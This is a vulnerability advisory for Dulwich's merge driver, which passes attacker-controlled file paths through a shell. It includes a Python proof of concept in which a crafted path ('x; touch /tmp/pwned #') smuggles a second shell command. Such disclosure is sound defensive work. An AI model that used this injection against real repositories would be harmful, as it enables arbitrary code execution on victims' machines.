Summary
Dulwich's ProcessMergeDriver substitutes the file path (from the git tree, controllable by an attacker via a malicious branch) into the merge driver command via the %P placeholder and executes it with subprocess.run(..., shell=True). An attacker who can cause a victim to merge an untrusted branch can achieve arbitrary command execution by crafting malicious file paths.
Description
- Type: Command Injection
- Source:
merge.py line 195 — path from merge tree (from repository content when merging untrusted branch)
- Sink:
merge_drivers.py lines 124–127 — subprocess.run(cmd, shell=True) where cmd includes path via %P placeholder
- Impact: Arbitrary code execution when merging from a malicious repository. Requires the user to have a merge driver configured that uses the
%P placeholder.
Resources
- Repository: https://github.com/dulwich/dulwich
- Vulnerable file:
dulwich/merge_drivers.py (lines 119–129)
Proof of Concept
from dulwich.attrs import GitAttributes, Pattern
from dulwich.config import ConfigDict
from dulwich.merge import merge_blobs
from dulwich.objects import Blob
# Merge driver with %P (path) - typical for custom merge tools
config = ConfigDict()
config.set((b"merge", b"injectable"), b"driver", b"echo %P > %A")
patterns = [(Pattern(b"*"), {b"merge": b"injectable"})]
gitattributes = GitAttributes(patterns)
base = Blob.from_string(b"base")
ours = Blob.from_string(b"ours")
theirs = Blob.from_string(b"theirs")
# Malicious path from attacker-controlled git tree: injects "touch /tmp/pwned"
malicious_path = b"x; touch /tmp/pwned #"
merge_blobs(base, ours, theirs, path=malicious_path,
gitattributes=gitattributes, config=config)
# => Executes: echo x; touch /tmp/pwned #
# => Shell runs: echo x, then touch /tmp/pwned
Fix
merge_drivers_shell_escape.patch